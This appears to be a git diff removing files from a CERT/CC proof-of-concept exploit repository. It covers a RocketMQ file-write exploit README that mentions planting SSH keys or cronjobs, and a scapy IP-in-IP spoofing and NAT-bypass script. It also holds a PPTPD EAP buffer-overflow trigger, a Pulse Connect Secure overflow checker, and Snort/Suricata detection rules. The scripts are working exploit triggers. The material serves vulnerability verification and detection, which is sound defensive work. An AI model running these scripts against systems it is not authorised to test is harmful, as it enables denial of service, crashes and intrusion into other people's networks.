docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.6 sh mqnamesrv
|
|
||||||
|
|
||||||
# start broker
|
|
||||||
docker run -d --name rmqbroker \
|
|
||||||
--link rmqnamesrv:namesrv \
|
|
||||||
-e "NAMESRV_ADDR=namesrv:9876" \
|
|
||||||
-p 10909:10909 \
|
|
||||||
-p 10911:10911 \
|
|
||||||
-p 10912:10912 \
|
|
||||||
apache/rocketmq:4.9.6 sh mqbroker \
|
|
||||||
-c /home/rocketmq/rocketmq-4.9.6/conf/broker.conf
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
# Exploit
|
|
||||||
|
|
||||||
It is important to note that the exploit provided is for demonstration purposes only.
|
|
||||||
The current exploit allows for the writing of a file to the nameserver's `/tmp/pwned` directory.
|
|
||||||
Modifying the content of the `body` variable allows for the exploitation of this vulnerability by writing an OpenSSH private key or adding a cronjob.
|
|
||||||
However, it is crucial to remember that such activities are unauthorized and can lead to serious security breaches.
|
|
||||||
It is strongly advised to refrain from engaging in any malicious activities and to prioritize responsible and ethical cybersecurity practices.
|
|
||||||
|
|
||||||
```
|
|
||||||
usage: CVE-2023-37582.py [-h] [-ip IP] [-p P]
|
|
||||||
|
|
||||||
RocketMQ Exploit
|
|
||||||
|
|
||||||
optional arguments:
|
|
||||||
-h, --help show this help message and exit
|
|
||||||
-ip IP Nameserver address
|
|
||||||
-p P Nameserver listen port
|
|
||||||
```
|
|
||||||
|
|
||||||
# References
|
|
||||||
[RocketMQ commit: Fix incorrect naming](https://github.com/apache/rocketmq/pull/6843/files)
|
|
@ -1,40 +0,0 @@
|
|||||||
# cve-2020-10136
|
|
||||||
You can use this code to verify if your device supports default IP-in-IP
|
|
||||||
encapsulation from arbitrary sources to arbitrary destinations. The intended
|
|
||||||
use of this code requires at least two more devices with distinct IP
|
|
||||||
addresses for these two devices. The testing in "bypass" mode requires
|
|
||||||
the vulnerable device to be "dual-homed" so routing to the "inside"
|
|
||||||
network from an external network interface can be verified.
|
|
||||||
|
|
||||||
Spoof mode:
|
|
||||||

|
|
||||||
|
|
||||||
The demonstration script can be used in two ways - spoof mode and
|
|
||||||
bypass mode. Initial setup requires at least three devices for this
|
|
||||||
testing. In the simple spoofing mode, attacker will send a IP-in-IP
|
|
||||||
packet from their device to a vulnerable machine
|
|
||||||
(VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's
|
|
||||||
device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS
|
|
||||||
capability to send unsolicited traffic to VICTIM_IP. Because this
|
|
||||||
packet has valid source and destination, anti-spoofing measure such as
|
|
||||||
BCP-38 will not block this crafted packet. The intended traffic can be
|
|
||||||
routed through the VULNERABLE_IP to the VICTIM_IP device by an
|
|
||||||
unauthenticated attacker.
|
|
||||||
|
|
||||||
Bypass mode:
|
|
||||||

|
|
||||||
|
|
||||||
In the bypass mode (using all 4 arguments for the script), the
|
|
||||||
attacker will send a crafted IP-in-IP packet from the attacker's
|
|
||||||
device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The
|
|
||||||
vulnerable device will receive and decapsulate the packet and forward
|
|
||||||
the inner IP packet to the victim device (VICTIM_IP sys.argv[2])
|
|
||||||
machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The
|
|
||||||
attacker can thus solicit information using the sample SNMP query to
|
|
||||||
be sent to DATA_COLLECT_IP which he has access to. In the provided
|
|
||||||
example, device at the VICTIM_IP address is assumed to have SNMP
|
|
||||||
enabled with the standard "public" community string for read-only
|
|
||||||
access. SNMP is being demonstrated here, but this forwarding behavior
|
|
||||||
can allow for many types of unexpected IP traffic to traverse using
|
|
||||||
the vulnerable machine as a forwarding point for any nefarious
|
|
||||||
communications as planned by the attacker.
|
|
Before Width: | Height: | Size: 27 KiB |
@ -1,6 +0,0 @@
|
|||||||
#This Snort IDS rule looks for any IP-in-IP traffic, whether
|
|
||||||
#intentional or not. Further filtering can be applied to ignore sources
|
|
||||||
#and destinations that are allowed by your policy to route IP-in-IP
|
|
||||||
#traffic.
|
|
||||||
alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397;
|
|
||||||
rev:1;)
|
|
@ -1,29 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
#Thanks to Yannay Livneh for sharing this PoC script
|
|
||||||
#PoC script slightly modified to test bypass mode
|
|
||||||
import sys
|
|
||||||
from scapy.all import *
|
|
||||||
if len(sys.argv) < 3:
|
|
||||||
print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
|
|
||||||
print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
|
|
||||||
sys.exit(0);
|
|
||||||
## IP-in-IP forwarding device vulnerable to VU-636397
|
|
||||||
VULNERABLE_MACHINE_IP = sys.argv[1]
|
|
||||||
## VICTIM IP of the machine we want to send packet to
|
|
||||||
VICTIM_IP = sys.argv[2]
|
|
||||||
|
|
||||||
if len(sys.argv) == 5 and sys.argv[4] == "bypass":
|
|
||||||
## Address we want to send the return traffic back to
|
|
||||||
DATA_COLLECT_IP = sys.argv[3]
|
|
||||||
## LAN bypass mode to jump into VICTIM_IP network
|
|
||||||
## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
|
|
||||||
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
|
|
||||||
SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
|
|
||||||
else:
|
|
||||||
## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
|
|
||||||
## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
|
|
||||||
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
|
|
||||||
Raw(load="I am Vulnerable\n"))
|
|
||||||
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
|
|
||||||
## tcpdump -i any -nvvv udp port 3363
|
|
||||||
|
|
Before Width: | Height: | Size: 17 KiB |
@ -1,9 +0,0 @@
|
|||||||
# CVE-2020-12695 vulnerability information
|
|
||||||
|
|
||||||
Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule.
|
|
||||||
|
|
||||||
1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors.
|
|
||||||
|
|
||||||
2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability.
|
|
||||||
|
|
||||||
3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger)
|
|
@ -1,4 +0,0 @@
|
|||||||
#Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP
|
|
||||||
#method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that
|
|
||||||
#accept HTTP method in lowercase.
|
|
||||||
alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;)
|
|
@ -1,33 +0,0 @@
|
|||||||
# cve-2020-8597-pptpd
|
|
||||||
You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability.
|
|
||||||
Usage
|
|
||||||
prompt# ./pptp_poc.py
|
|
||||||
Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597
|
|
||||||
|
|
||||||
prompt# ./pptp_poc.py 172.19.12.21
|
|
||||||
Initiating communications with PPTP server 172.19.12.21
|
|
||||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
|
||||||
Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet
|
|
||||||
|
|
||||||
prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24
|
|
||||||
Initiating communications with PPTP server 172.19.12.24
|
|
||||||
.... debug info ....
|
|
||||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
|
||||||
Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet
|
|
||||||
|
|
||||||
prompt# ./pptp_poc.py 172.19.12.254
|
|
||||||
Initiating communications with PPTP server 172.19.12.254
|
|
||||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
|
||||||
Server 172.19.12.254 is likely NOT vulnerable to buffer overflow
|
|
||||||
Verifying peer 172.19.12.254 one more time using a Echo request to the peer
|
|
||||||
Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable
|
|
||||||
|
|
||||||
There are some sample PCAP file with exploit (and without exploit) and matching
|
|
||||||
snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file
|
|
||||||
for details
|
|
||||||
|
|
||||||
###
|
|
||||||
|
|
||||||
Copyright and license:
|
|
||||||
See License under https://github.com/CERTCC/PoC-Exploits
|
|
||||||
|
|
@ -1,15 +0,0 @@
|
|||||||
#IDS rules are bound to have false/positive and false/negatives at times. Note:
|
|
||||||
#these can be easily evaded by padding and other tricks done when packet crafting.
|
|
||||||
#USE AT YOUR OWN RISK!
|
|
||||||
#We have done our best to avoid false/negatives. There is a sample pcap file in
|
|
||||||
#this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer
|
|
||||||
#overflow payload (256 length hostname 'AA..A') and one that does not (255 length
|
|
||||||
#hostname with 'AA..A')
|
|
||||||
#GRE packet ip_proto == 47
|
|
||||||
#This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge
|
|
||||||
#PPP - EAP-MD5 Challenge packet == 0xc22701
|
|
||||||
#Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not
|
|
||||||
#included in the dsize.
|
|
||||||
#Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4)
|
|
||||||
#Using GRE rules SID format 116:161:*
|
|
||||||
alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;)
|
|
@ -1,165 +0,0 @@
|
|||||||
#!/usr/bin/python3
|
|
||||||
|
|
||||||
from scapy.all import *
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import signal
|
|
||||||
import os
|
|
||||||
conf_ack_received = False
|
|
||||||
conf_ack_sent = False
|
|
||||||
debug = False
|
|
||||||
|
|
||||||
if os.environ.get("DEBUG"):
|
|
||||||
debug = True
|
|
||||||
|
|
||||||
def pkt_callback(pkt):
|
|
||||||
global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug
|
|
||||||
if debug:
|
|
||||||
print("Received a GRE packet that shows continued conversation for EAP")
|
|
||||||
pkt.show()
|
|
||||||
if pkt.haslayer(PPP):
|
|
||||||
if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223
|
|
||||||
conf_ack_received = True
|
|
||||||
if debug:
|
|
||||||
print("Received a CHAP challenge from peer ignoring")
|
|
||||||
print("Assuming we received a Conf-Ack already")
|
|
||||||
return
|
|
||||||
if pkt.haslayer(EAP):
|
|
||||||
if pkt.getlayer(EAP).code == 2 :
|
|
||||||
#EAP Response received for the sent EAP request with bad payload
|
|
||||||
if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok
|
|
||||||
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
|
|
||||||
sys.exit(0)
|
|
||||||
if pkt.haslayer(PPP_LCP_Configure) :
|
|
||||||
p_layer = pkt.getlayer(PPP_LCP_Configure)
|
|
||||||
cid = p_layer.id
|
|
||||||
if p_layer.code == 2:
|
|
||||||
if debug:
|
|
||||||
print("Received Conf ack we are all okay")
|
|
||||||
conf_ack_received = True
|
|
||||||
if conf_ack_sent == True:
|
|
||||||
return
|
|
||||||
else:
|
|
||||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
|
||||||
if p_layer.code == 1: #config request
|
|
||||||
if debug:
|
|
||||||
print("Received another Config-Request, should reply this")
|
|
||||||
pkt.show()
|
|
||||||
server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/
|
|
||||||
HDLC()/PPP()/
|
|
||||||
PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug)
|
|
||||||
conf_ack_sent = True
|
|
||||||
if conf_ack_received:
|
|
||||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
|
||||||
|
|
||||||
if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1
|
|
||||||
if debug:
|
|
||||||
print("We received a Echo-Reply back for ID=4 ping request")
|
|
||||||
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def handler(signum, frame):
|
|
||||||
if debug:
|
|
||||||
print("Timeout has expired")
|
|
||||||
raise Exception('Timed out')
|
|
||||||
|
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
|
||||||
print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
|
|
||||||
sys.exit(0)
|
|
||||||
dst = sys.argv[1]
|
|
||||||
#default pptp port
|
|
||||||
dport = 1723
|
|
||||||
|
|
||||||
print("Initiating communications with PPTP server %s " %(dst))
|
|
||||||
signal.signal(signal.SIGALRM, handler)
|
|
||||||
#6 seconds for first TCP response
|
|
||||||
signal.alarm(6)
|
|
||||||
#TCP communications
|
|
||||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
client.connect((dst, dport))
|
|
||||||
cstream = StreamSocket(client)
|
|
||||||
|
|
||||||
|
|
||||||
# initialize PPTP session
|
|
||||||
call_id = random.randint(1000,10000)
|
|
||||||
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
|
|
||||||
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
|
|
||||||
#revision is not properly parsed
|
|
||||||
vr.protocol_version=256
|
|
||||||
|
|
||||||
cstream.sr1(vr,verbose=debug)
|
|
||||||
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
|
|
||||||
call_reply = PPTPOutgoingCallReply(call_reply)
|
|
||||||
|
|
||||||
signal.alarm(0)
|
|
||||||
#Another 6 seconds to do GRE connection
|
|
||||||
signal.alarm(6)
|
|
||||||
# GRE communications
|
|
||||||
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
|
|
||||||
gre_socket.connect((dst,dport))
|
|
||||||
gre_stream = SimpleSocket(gre_socket)
|
|
||||||
#send configuration request
|
|
||||||
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
|
|
||||||
HDLC()/PPP()/
|
|
||||||
PPP_LCP_Configure(id=0x1,options=[
|
|
||||||
PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
|
|
||||||
server_conf_request = IP(server_conf_request)
|
|
||||||
|
|
||||||
|
|
||||||
signal.alarm(0)
|
|
||||||
# give 9 seconds for configure ack to complete
|
|
||||||
signal.alarm(9)
|
|
||||||
tries = 0
|
|
||||||
try:
|
|
||||||
while conf_ack_received == False or tries < 9:
|
|
||||||
sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
|
|
||||||
tries = tries + 1
|
|
||||||
except:
|
|
||||||
if debug:
|
|
||||||
print("Never could recevie a configureation ack from peer due to Timeout")
|
|
||||||
tries = 9
|
|
||||||
if conf_ack_received == False and tries > 8:
|
|
||||||
print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
|
|
||||||
print("Server %s is in UNKNOWN state" %(sys.argv[1]))
|
|
||||||
sys.exit(0)
|
|
||||||
signal.alarm(0)
|
|
||||||
|
|
||||||
print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")
|
|
||||||
|
|
||||||
bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)
|
|
||||||
|
|
||||||
gre_stream.send(bad_pkt)
|
|
||||||
|
|
||||||
#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
|
|
||||||
signal.alarm(3)
|
|
||||||
try:
|
|
||||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
|
||||||
except:
|
|
||||||
print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
|
|
||||||
sys.exit(0)
|
|
||||||
print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1]))
|
|
||||||
signal.alarm(0)
|
|
||||||
|
|
||||||
print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1]))
|
|
||||||
signal.alarm(3)
|
|
||||||
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
|
|
||||||
#pptp server with the bad payload
|
|
||||||
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
|
|
||||||
HDLC()/PPP()/
|
|
||||||
PPP_LCP_Configure(code=0x9,id=4))
|
|
||||||
|
|
||||||
|
|
||||||
try:
|
|
||||||
PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
|
||||||
except:
|
|
||||||
print("Did not received PPP Echo Reply, check the logs on the server to verify status")
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")
|
|
||||||
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
@ -1,31 +0,0 @@
|
|||||||
# cve-2021-22908
|
|
||||||
|
|
||||||
This python3 script checks for Pulse Connect Secure servers vulnerable to
|
|
||||||
[VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation.
|
|
||||||
|
|
||||||
## Usage modes:
|
|
||||||
`cve-2021-22908.py <host>`
|
|
||||||
This mode will interactively log in to a PCS server to obtain a DSID value.
|
|
||||||
|
|
||||||
`cve-2021-22908.py <host> -d <DSID>`
|
|
||||||
In the case were a PCS user's DSID is already known, this mode will skip the
|
|
||||||
interactive login exchange.
|
|
||||||
|
|
||||||
`cve-2021-22908.py <host> -n`
|
|
||||||
If you do not have authentication available for the target PCS, you can check
|
|
||||||
for only the presence of the Workaround-2105.xml mitigation.
|
|
||||||
|
|
||||||
|
|
||||||
## Results:
|
|
||||||
`HTTP 500`
|
|
||||||
This is indicative of a vulnerable PCS server, due to a crashing CGI.
|
|
||||||
|
|
||||||
`HTTP 403. XML workaround applied`
|
|
||||||
This is indicative of a PCS server that has an XML mitigation applied.
|
|
||||||
|
|
||||||
`HTTP 200. Windows File Access Policies prevents exploitation.`
|
|
||||||
This is indicative of a PCS server that has "Windows File Access Policies"
|
|
||||||
configured in a way that prevents exploitation.
|
|
||||||
|
|
||||||
`HTTP %s. Not vulnerable.`
|
|
||||||
The PCS server does not appear to be vulnerable.
|
|
@ -1,263 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
# Utility to check for Pulse Connect Secure CVE-2021-22908
|
|
||||||
# https://www.kb.cert.org/vuls/id/667933
|
|
||||||
|
|
||||||
import requests
|
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
||||||
import argparse
|
|
||||||
import sys
|
|
||||||
from html.parser import HTMLParser
|
|
||||||
import getpass
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
|
|
||||||
parser.add_argument('host', type=str, help='PCS IP or hostname)')
|
|
||||||
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
|
|
||||||
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
|
|
||||||
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
|
|
||||||
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
|
|
||||||
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
|
|
||||||
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
||||||
|
|
||||||
class formvaluefinder(HTMLParser):
|
|
||||||
def __init__(self, searchval):
|
|
||||||
super(type (self), self).__init__()
|
|
||||||
self.searchval = searchval
|
|
||||||
def handle_starttag(self, tag, attrs):
|
|
||||||
if tag == 'input':
|
|
||||||
# We're just looking for form <input> tags
|
|
||||||
foundelement = False
|
|
||||||
for attr in attrs:
|
|
||||||
if(attr[0] == 'name'):
|
|
||||||
if(attr[1] == self.searchval):
|
|
||||||
foundelement = True
|
|
||||||
elif(attr[0] == 'value' and foundelement == True):
|
|
||||||
self.data = attr[1]
|
|
||||||
|
|
||||||
class preauthfinder(HTMLParser):
|
|
||||||
foundelement = False
|
|
||||||
def handle_starttag(self, tag, attrs):
|
|
||||||
if tag == 'textarea':
|
|
||||||
# We're just looking for <textarea> tags
|
|
||||||
foundelement = False
|
|
||||||
for attr in attrs:
|
|
||||||
if(attr[0] == 'id'):
|
|
||||||
if(attr[1] == 'sn-preauth-text_2'):
|
|
||||||
self.foundelement = True
|
|
||||||
def handle_data(self, data):
|
|
||||||
if self.foundelement:
|
|
||||||
self.data = data
|
|
||||||
self.foundelement = False
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def get_realm(host, defaulturi):
|
|
||||||
realm = None
|
|
||||||
print('Getting default realm for %s...' % host)
|
|
||||||
url = 'https://%s%s' % (host,defaulturi)
|
|
||||||
res = None
|
|
||||||
try:
|
|
||||||
res = requests.get(url, verify=False, timeout=10)
|
|
||||||
except requests.exceptions.ConnectionError:
|
|
||||||
print('Error retrieving %s' % url)
|
|
||||||
|
|
||||||
if res:
|
|
||||||
if res.status_code == 200:
|
|
||||||
html = str(res.content)
|
|
||||||
if 'sn-preauth-text_2' in html:
|
|
||||||
print('Preauth required...')
|
|
||||||
parser = preauthfinder()
|
|
||||||
parser.feed(html)
|
|
||||||
preauthtext = parser.data
|
|
||||||
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
|
|
||||||
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
if res.content:
|
|
||||||
parser = formvaluefinder('realm')
|
|
||||||
parser.feed(str(res.content))
|
|
||||||
realm = parser.data
|
|
||||||
else:
|
|
||||||
print('Error retrieving login page')
|
|
||||||
|
|
||||||
else:
|
|
||||||
parser = formvaluefinder('realm')
|
|
||||||
parser.feed(html)
|
|
||||||
realm = parser.data
|
|
||||||
return realm
|
|
||||||
|
|
||||||
def get_dsid(host, defaulturi, realm, user, password):
|
|
||||||
dsid = None
|
|
||||||
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
|
|
||||||
url = 'https://%s%s' % (host,loginuri)
|
|
||||||
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
|
|
||||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
if 'confirm' in res.headers['location']:
|
|
||||||
# Redirect to "user-confirm" that they still want to log in, despite already
|
|
||||||
# having an active session
|
|
||||||
print('User session is already active! Proceeding...')
|
|
||||||
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
|
|
||||||
parser = formvaluefinder('FormDataStr')
|
|
||||||
parser.feed(str(res.content))
|
|
||||||
formdata = parser.data
|
|
||||||
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
|
|
||||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
for cookie in res.cookies:
|
|
||||||
if cookie.name == 'DSID':
|
|
||||||
dsid = cookie.value
|
|
||||||
elif 'cred' in res.headers['location']:
|
|
||||||
# This is a pulse that requires 2FA
|
|
||||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
for cookie in res.cookies:
|
|
||||||
if cookie.name == 'id':
|
|
||||||
key = cookie.value
|
|
||||||
password2 = input('MFA code: ')
|
|
||||||
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
|
|
||||||
cookies = {'id': key, 'DSSigninNotif': '1'}
|
|
||||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
if 'confirm' in res.headers['location']:
|
|
||||||
# Redirect to "user-confirm" that they still want to log in, despite already
|
|
||||||
# having an active session
|
|
||||||
print('User session is already active! Proceeding...')
|
|
||||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
|
|
||||||
parser = formvaluefinder('FormDataStr')
|
|
||||||
parser.feed(str(res.content))
|
|
||||||
formdata = parser.data
|
|
||||||
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
|
|
||||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
for cookie in res.cookies:
|
|
||||||
if cookie.name == 'DSID':
|
|
||||||
dsid = cookie.value
|
|
||||||
else:
|
|
||||||
for cookie in res.cookies:
|
|
||||||
if cookie.name == 'DSID':
|
|
||||||
dsid = cookie.value
|
|
||||||
elif 'failed' in res.headers['location']:
|
|
||||||
print('Login failed!')
|
|
||||||
else:
|
|
||||||
# Login accepted
|
|
||||||
for cookie in res.cookies:
|
|
||||||
if cookie.name == 'DSID':
|
|
||||||
dsid = cookie.value
|
|
||||||
|
|
||||||
return dsid
|
|
||||||
|
|
||||||
|
|
||||||
def get_xsauth(host, dsid):
|
|
||||||
xsauth = None
|
|
||||||
url = 'https://%s/dana/home/index.cgi' % host
|
|
||||||
cookies = {'DSID':dsid}
|
|
||||||
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
|
|
||||||
if 'xsauth' in str(res.content):
|
|
||||||
parser = formvaluefinder('xsauth')
|
|
||||||
parser.feed(str(res.content))
|
|
||||||
xsauth = parser.data
|
|
||||||
else:
|
|
||||||
print('Cannot find xsauth string for provided DSID: %s' % dsid)
|
|
||||||
return xsauth
|
|
||||||
|
|
||||||
def trigger_vul(host, dsid, xsauth):
|
|
||||||
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
|
|
||||||
values = {
|
|
||||||
't': 's',
|
|
||||||
'v': '%s,,' % ('A' * 1800),
|
|
||||||
'dir': 'tmp',
|
|
||||||
'si': None,
|
|
||||||
'ri': None,
|
|
||||||
'pi': None,
|
|
||||||
'confirm': 'yes',
|
|
||||||
'folder': 'tmp',
|
|
||||||
'acttype': 'create',
|
|
||||||
'xsauth': xsauth,
|
|
||||||
'create': 'Create Folder',
|
|
||||||
}
|
|
||||||
cookies = {'DSID': dsid}
|
|
||||||
try:
|
|
||||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
|
|
||||||
status = res.status_code
|
|
||||||
if 'DSIDFormDataStr' in str(res.content):
|
|
||||||
# We got page asking to confirm our action
|
|
||||||
print('xsauth value was not accepted')
|
|
||||||
else:
|
|
||||||
if status == 200 and 'Error FB-8' in str(res.content):
|
|
||||||
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
|
|
||||||
elif status == 200:
|
|
||||||
print('HTTP %s. Not vulnerable.' % status)
|
|
||||||
elif status == 403:
|
|
||||||
print('HTTP %s. XML workaround applied.' % status)
|
|
||||||
elif status == 500:
|
|
||||||
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
|
|
||||||
elif status == 302:
|
|
||||||
print('HTTP %s. Are you sure your DSID is valid?' % host)
|
|
||||||
else:
|
|
||||||
print('HTTP %s. Not sure how to interpret this result.' % status)
|
|
||||||
except requests.exceptions.ReadTimeout:
|
|
||||||
print('No response from server. Try again...')
|
|
||||||
|
|
||||||
|
|
||||||
def get_default(host):
|
|
||||||
url = 'https://%s' % host
|
|
||||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
try:
|
|
||||||
location = res.headers['location']
|
|
||||||
if 'dana-na' not in location:
|
|
||||||
print('%s does not seem to be a PCS host' % host)
|
|
||||||
location = None
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
return location
|
|
||||||
|
|
||||||
def check_xml(host):
|
|
||||||
url = 'https://%s/dana/meeting' % host
|
|
||||||
#print('Checking status of %s ...' % url)
|
|
||||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
|
||||||
if res.status_code == 403:
|
|
||||||
print('Workaround-2104 appears to be installed')
|
|
||||||
else:
|
|
||||||
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
|
|
||||||
|
|
||||||
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
|
|
||||||
